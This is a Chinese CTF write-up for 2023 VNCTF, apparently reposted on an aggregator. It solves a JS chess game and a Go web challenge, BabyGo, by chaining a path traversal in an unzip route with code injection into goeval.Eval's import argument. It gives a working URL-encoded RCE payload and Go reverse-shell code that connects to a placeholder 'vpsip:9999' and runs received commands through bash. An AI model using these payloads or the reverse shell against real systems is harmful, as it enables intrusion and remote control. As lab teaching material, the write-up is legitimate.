2023VNCTF的两道(暂时)

news2024/9/24 23:30:51

from http://v2ish1yan.top/2023/02/19/%E6%AF%94%E8%B5%9Bwp/2023vnctf/
比赛的时候在回学校的路上,所以没有打,听说质量挺高,赛后做一下

象棋王子

一个普通的js游戏,玩过关了就给flag,所以flag肯定在前端源码里

image-20230219150751192

这里就是弹flag的js,只不过被混淆了,直接复制到控制台执行就行

image-20230219150828450

BabyGo

0x00 前言

这题在机场等同学的时候做了一下,但是那个解压功能一直报错,我还以为是我的问题,结构第二天做一下发现是可以的

  • goeval代码注入
  • filepath.Clean构造任意解压路径

0x01 源码分析

package main

import (
	"encoding/gob"
	"fmt"
	"github.com/PaulXu-cn/goeval"
	"github.com/duke-git/lancet/cryptor"
	"github.com/duke-git/lancet/fileutil"
	"github.com/duke-git/lancet/random"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	r := gin.Default()
	store := cookie.NewStore(random.RandBytes(16))
	r.Use(sessions.Sessions("session", store))
	r.LoadHTMLGlob("template/*")

	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})

	r.GET("/upload", func(c *gin.Context) {
		c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
	})

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

	r.Run(":80")
}

总体来说不是太难理解

/路由,生成一个userDir并保存在Session里,后面的部分都会从Session取这个的值进行操作
并且还会创建一个user.gob文件,将User信息保存在里面

/upload路由,将文件上传到userDir+"uploads/"目录,并且会检测文件后缀

/unzip路由,会对userDir+"uploads/"目录里的zip文件进行解压,且目的路径可控,接受GET传参的path的值

destPath := filepath.Clean(userUploadDir + c.Query("path"))

然后来看看这个filepath.Clean是什么东西

Clean通过纯词法处理返回与path相当的最短路径名称。它反复应用以下规则,直到不能再做进一步处理。

  1. 用一个元素替换多个Separator元素。

  2. 消除每个.路径名元素(当前目录)。

  3. 消除每个内部的…路径名称元素(父目录)和它前面的非…元素。

  4. 消除了将…放在根路径后面的情况(‘/…’):也就是说,假设Separator是’/',在一个路径的开头用"/“替换”/…"。

  5. 返回的路径只有在代表根目录时才以斜线结尾,例如Unix系统中的"/"或Windows系统中的C:

最后,任何出现的斜线都被Separator替换。

如果这个过程的结果是一个空字符串,Clean返回字符串"."。

from https://pkg.go.dev/path/filepath#Clean

所以我们可以构造路径,将文件解压到任何我们可以解压的地方

/backdoor路由,会从userDir目录读取user.gob文件的内容,并检测Power键的值是否为"admin",如果为True,就执行

eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))

并返回执行结果

所以可以在本地构造一个user.gob,将Power的值改为"admin"并将其压缩,然后上传并解压到userDir目标覆盖原来的user.gob,这样就可以成功执行到goeval.Eval()

而在goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))里可以发现并没有可以直接执行任意代码的地方,可控的只有第三个参数

goeval.Eval()的第三参数可以进行包的导入,因为通过报错可以执行题目环境GO的src目录,所以我最开始想的是在fmt包里导入一个函数Println,这样在执行goeval.Eval()的时候就可以执行我们自己构造的代码。

但是我想少了,如果直接将pkg传参为fmt的话,因为在Println()被fmt包里的其他文件被定义过,所以我这再定义一个就会报错

image-20230219155657021

然后我就随手搜了一下goeval.Eval,就发现了可以对goeval.Eval进行代码注入,从而远程执行代码

image-20230219155756587

根据这篇文件去看看goeval.Eval的源码

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
	var (
		tmp = `package main
%s
%s
func main() {
%s
}
`
		importStr string
		fullCode string
	 	newTmpDir = tempDir + dirSeparator + RandString(8)
	)

	if 0 < len(imports) {
		importStr = "import ("
		for _, item := range imports {
			if blankInd := strings.Index(item, " "); -1 < blankInd {
				importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
			} else {
				importStr += fmt.Sprintf("\n\"%s\"", item)
			}
		}
		importStr += "\n)"
	}
	fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

	var codeBytes = []byte(fullCode)
	// 格式化输出的代码
	if formatCode, err := format.Source(codeBytes); nil == err {
		// 格式化失败,就还是用 content 吧
		codeBytes = formatCode
	}

	// 创建目录
	if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
		return
	}
	defer os.RemoveAll(newTmpDir)
	// 创建文件
	tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
	if err != nil {
		return re, err
	}
	defer os.Remove(tmpFile.Name())
	// 代码写入文件
	tmpFile.Write(codeBytes)
	tmpFile.Close()
	// 运行代码
	cmd := exec.Command("go", "run", tmpFile.Name())
	res, err := cmd.CombinedOutput()
	return res, err
}

可以看出来,Eval是将代码写入一个临时文件然后运行再返回运行的结果,而且是以拼接的方式来写入代码

所以可以进行代码注入,用\t替代空格,同时由于他执行的是main内的代码,而且这个是写死的,所以得将要执行的代码写入init()里,这个函数会在main()前执行,然后使用var来闭合最后面的")

init函数特性

1.init函数可以在所有程序执行开始前被调用,并且每个包下可以有多个init函数
2.init函数先于main函数自动执行
3.每个包中可以有多个init函数,每个包中的源文件中也可以有多个init函数
4.init函数没有输入参数、返回值,也未声明,所以无法引用
5.不同包的init函数按照包导入的依赖关系决定执行顺序
6.无论包被导入多少次,init函数只会被调用一次,也就是只执行一次
7.init函数在代码中不能被显示的调用,不能被引用(赋值给函数变量),否则会出现编译错误
8.导入包不要出现循环依赖,这样会导致程序编译失败
9.Go程序仅仅想要用一个package的init执行,我们可以这样使用:import _ “test_xxxx”,导入包的时候加上下划线就ok了
10.包级别的变量初始化、init函数执行,这两个操作都是在同一个goroutine中调用的,按顺序调用,一次一个包
11.init函数不应该依赖任何在main函数里创建的变量,因为init函数的执行是在main函数之前的
12.在init函数中也可以启动goroutine,也就是在初始化的同时启动新的goroutine,这并不会影响初始化顺序
13.复杂逻辑不建议使用init函数,会增加代码的复杂性,可读性也会下降
14.一个源文件下可以有多个init函数,代码比较长时可以考虑分多个init函数
15.编程时不要依赖init的顺序

pkg := "os/exec\"\n\"fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\nvar(\na=\"1"
goeval.Eval("", "fmt.Println(\"Good\")", pkg)

就会执行

package main

import (
"os/exec"
"fmt"
)

func	init(){
cmd:=exec.Command("ls")
out,_:=cmd.CombinedOutput()
fmt.Println(string(out))
}
var(
a="1"
)



func main() {
fmt.Println("Good")
}

0x02 题解

方法一 代码注入

先在本地创建一个user.gob文件,就跟源码里的方式一样建一个再压缩

然后上传文件,再解压缩文件

解压缩的url为

/unzip?path=../../../../tmp/49c69cef49dc4b3be71e988a20149ca7

然后访问/backdoor路由,进行代码注入,远程执行命令

payload

/backdoor?pkg=os%2Fexec%22%0A%22fmt%22%0A%29%0A%0Afunc%09init%28%29%7B%0Acmd%3A%3Dexec.Command%28%22cat%22%2C%22%2Fffflllaaaggg%22%29%0Aout%2C_%3A%3Dcmd.CombinedOutput%28%29%0Afmt.Println%28string%28out%29%29%0A%7D%0Avar%28%0Aa%3D%221

image-20230219164136927

方法二 使用别名执行自己的包

这是我在写wp的时候发现的另一个方法

看一下Eval对第三个参数的区别处理

for _, item := range imports {
    if blankInd := strings.Index(item, " "); -1 < blankInd {
        importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
    } else {
        importStr += fmt.Sprintf("\n\"%s\"", item)
    }
}

eg:

goeval.Eval("", "fmt.Println(\"Good\")", "fmt os/exec")

就会变成

package main

import (
 fmt "os/exec"
)



func main() {
fmt.Println("Good")
}

相当于给导入的包设置一个别名,所以可以将我们自己的包设置别名为fmt,从而执行任意代码

自己建立的包

PrintLn.go

package v2i

import (
	"fmt"
	"os/exec"
)
func Println(a string){
	_=a
	cmd:=exec.Command("ls", "/")
	out,_:=cmd.CombinedOutput()
	fmt.Println(string(out))
}

将文件压缩,然后上传,解压到/usr/local/go/src/v2i

路径在报错里看到

image-20230219164700793

/unzip?path=../../../../usr/local/go/src/v2i

然后在/backdoor路由

/backdoor?pkg=fmt v2i

image-20230219164845696

这样就执行了我们的代码,但是有点麻烦,得不断上传解压缩

但也可以试试反弹shell,如果要反弹shell的话,自己建的包就得是【从网上抄的代码XD】

package v2i
import (
	"io"
	"net"
	"io/ioutil"
	"log"
	"os/exec"
)

var (
	cmd string
	line string
)

func Println(a string) {
	_=a
	addr := "vpsip:9999" //远程连接主机名
	conn,err := net.Dial("tcp",addr) //拨号操作,用于连接服务端,需要指定协议。
	if err != nil {
		log.Fatal(err)
	}

	buf := make([]byte,10240) //定义一个切片的长度是10240。
	for  {
		n,err := conn.Read(buf) //接受的命令
		if err != nil && err != io.EOF {  //io.EOF在网络编程中表示对端把链接关闭了。
			log.Fatal(err)
		}

		cmd_str := string(buf[:n])
		cmd := exec.Command("/bin/bash","-c",cmd_str) //命令执行
		stdout, err := cmd.StdoutPipe()
		if err != nil {
			log.Fatal(err)
		}
		defer stdout.Close()
		if err := cmd.Start(); err != nil {
			log.Fatal(err)
		}
		opBytes, err := ioutil.ReadAll(stdout)
		if err != nil {
			log.Fatal(err)
		}
		conn.Write([]byte(opBytes)) //返回执行结果
	}
}

然后用相同的方式执行,就可以在vps上获得shell

image-20230219165545537

0x03 参考文章

  • goeval代码注入导致远程代码执行(2022虎符Final)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/356500.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

设计模式之观察者模式与访问者模式详解和应用

目录1.访问者模式详解1.1 访问者模式的定义1.1.1 访问者模式在生活中的体现1.1.2 访问者模式的适用场景1.2 访问者模式的通用实现1.3 访问者模式的使用案例之KPI考核1.3.1 类图设计1.3.2 代码实现1.4 访问者模式扩展---分派1.4.1 java中静态分派示例代码1.4.2 java中动态分派1.…

C语言 基于Ncurse库的贪吃蛇游戏项目

为了敲键盘及时响应&#xff0c;需要用到ncurse 测试代码&#xff1a; ncurse1.c /* ncurse1.c */ #include <curses.h> //ncurse的头文件。int main() {char c;int i 0;//ncurse界面的初始化函数。initscr(); for(i0;i<2;i){c getch();printw("\n");//…

一起学 pixijs(2):修改图形属性

大家好&#xff0c;我是前端西瓜哥。 我们做动画、游戏、编辑器&#xff0c;需要根据用户的交互等操作&#xff0c;去实时地改变图形的属性&#xff0c;比如位置&#xff0c;颜色等信息。今天西瓜哥带大家来看看在 pixijs 怎么修改图形的属性。 因为 pixijs 的底层维护了图形…

2023年美赛C题Wordle预测问题三、四建模及Python代码详细讲解

更新时间:2023-2-19 16:30 相关链接 &#xff08;1&#xff09;2023年美赛C题Wordle预测问题一建模及Python代码详细讲解 &#xff08;2&#xff09;2023年美赛C题Wordle预测问题二建模及Python代码详细讲解 &#xff08;3&#xff09;2023年美赛C题Wordle预测问题三、四建模…

Android 基础知识4-2.8 TableLayout(表格布局)详解

一、TableLayout的概述 表格布局是以行数和列数来确定位置进行排列。就像一间教室&#xff0c;确定好行数与列数就能让同学有序入座。 注意&#xff1a;我们需要先添加<TableRow容器&#xff0c;每添加一个就会多一行&#xff0c;然后再往<TableRow容器中添加其它组件。…

研报精选230219

目录 【行业230219山西证券】煤炭行业周报&#xff1a;复工改善&#xff0c;港口价格企稳反弹【行业230219中航证券】农林牧渔行业周观点&#xff1a;一号文件落地&#xff0c;生物育种超势不改【行业230219华西证券】汽车行业周报&#xff1a;新车密集上市 自主转型提速【个股…

[vue3] pinia的基本使用

使用Pinia npm install piniastore文件里index.js import { createPinia } from piniaconst pinia createPinia()export default piniamain.js导入并引用 import { createApp } from vue import App from ./App.vue import pinia from ./storescreateApp(App).use(pinia).m…

「技术选型」深度学习软件如何选择?

深度学习(DL, Deep Learning)是机器学习(ML, Machine Learning)领域中一个新的研究方向&#xff0c;它被引入机器学习使其更接近于最初的目标——人工智能(AI, Artificial Intelligence)。 深度学习是学习样本数据的内在规律和表示层次&#xff0c;这些学习过程中获得的信息对…

【Flutter入门到进阶】Dart进阶篇---DartVM单线程设计原理

1 虚拟机的指令执行设计 1.1 虚拟机的分类 基于栈的虚拟机&#xff0c;比如JVM虚拟机 基于寄存器的虚拟机&#xff0c;比如Dalvik虚拟机 1.2 虚拟机的概念 首先问一个基本的问题&#xff0c;作为一个虚拟机&#xff0c;它最基本的要实现哪些功能&#xff1f; 他应该能够模拟…

使用uni-app框架中uni.chooseAddress()接口,获取不到用户收货地址

错误描述 在我们使用uni-app框架或微信原生开发微信小程序时&#xff0c;使用到uni.chooseAddress(OBJECT)接口获取用户收货地址时&#xff0c;无法跳转到收货地址页面获取。 打印接口返回信息&#xff0c;显示 "chooseAddress:fail the api need to be declared in the …

LeetCode-17. 电话号码的字母组合

题目来源 17. 电话号码的字母组合 题目思路 从示例上来说&#xff0c;输入"23"&#xff0c;最直接的想法就是两层for循环遍历了吧&#xff0c;正好把组合的情况都输出了。 如果输入"233"呢&#xff0c;那么就三层for循环&#xff0c;如果"2333"…

接口测试(Fiddler工具)

目录 1.Fiddler是什么&#xff1f; 2.Fiddler的原理 3.Fiddler安装 4.Fiddler界面 4.1.常用工具 4.2 会话列表 4.3 状态栏 4.4 内容显示区 1.Fiddler是什么&#xff1f; Fiddler是客户端与服务器之间的HTTP代理&#xff0c;是当前最常用的HTTP协议抓包工具。 主要功能&a…

NSDT可编程3D场景【兼容Three.js】

NSDT编辑器简化了WebGL 3D应用的开发&#xff0c;完全兼容Three.JS生态。本文介绍如何在自己的应用中嵌入使用NSDT编辑器搭建的3D场景&#xff0c;并通过JS API与场景进行交互。 在自己的应用中嵌入3D场景只需要三个步骤&#xff1a; 在NSDT编辑器中搭建3D场景在自己的前端应…

Nonebot2官网插件nonebot-plugin-chatgpt让自己的QQ聊天机器人不再呆头呆脑

前言 如果你会使用Nonebot2搭建QQ聊天机器人&#xff0c;那么你一定会使用Nonebot官网上插件商店发布的插件&#xff0c;今天这篇博客记录一下使用插件时遇到的错误&#xff0c;最终如何解决的错误。在开始之前先看一下效果图吧&#xff01; 瞬间我们的QQ机器人就高大上了起…

Java serialVersionUID 作用和自动生成设置

一、由来 最近在做一个军工的项目&#xff0c;代码提交后&#xff0c;军方用代码安全扫描工具&#xff0c;对代码进行全局扫描&#xff0c;提示一个漏洞&#xff0c;导致原因是实体类实现了Serializable接口&#xff0c;未对serialVersionUID手动赋值&#xff0c;java机制里&am…

Zero-shot(零次学习)简介

zero-shot基本概念 首先通过一个例子来引入zero-shot的概念。假设我们已知驴子和马的形态特征&#xff0c;又已知老虎和鬣狗都是又相间条纹的动物&#xff0c;熊猫和企鹅是黑白相间的动物&#xff0c;再次的基础上&#xff0c;我们定义斑马是黑白条纹相间的马科动物。不看任何斑…

枚举类的使用方法

一、理解枚举类型 枚举类型是Java 5中新增特性的一部分&#xff0c;它是一种特殊的数据类型&#xff0c;之所以特殊是因为它既是一种类(class)类型却又比类类型多了些特殊的约束&#xff0c;但是这些约束的存在也造就了枚举类型的简洁性、安全性以及便捷性。下面先来看看如何写…

如何用一句话感动测试工程师?产品和技术都这么说!

测试工程师在公司里的地位一言难尽&#xff0c;产品挥斥苍穹&#xff0c;指引产品前路&#xff1b;开发编写代码实现功能&#xff0c;给产品带来瞩目成就。两者&#xff0c;一个是领航员&#xff0c;一个是开拓者&#xff0c;都是聚光灯照耀的对象&#xff0c;唯独团队中的保障…

换脸方法大汇总:生成对抗网络GAN、扩散模型等

1、One-Shot Face Video Re-enactment using Hybrid Latent Spaces of StyleGAN2StyleGAN的高保真人像生成&#xff0c;已逐渐克服了单样本面部视频驱动重现的低分辨率限制&#xff0c;但这些方法至少依赖于以下其中之一&#xff1a;明确的2D/3D先验&#xff0c;基于光流作为运…

Android 基础知识4-2.5View与VIewGroup的概念、关系与区别

1.概念&#xff1a; Android里的图形界面都是由View和ViewGroup以及他们的子类构成的&#xff1a; View&#xff1a;所有可视化控件的父类,提供组件描绘和时间处理方法 ViewGroup&#xff1a; View类的子类&#xff0c;可以拥有子控件,可以看作是容器 Android UI中的控件都是…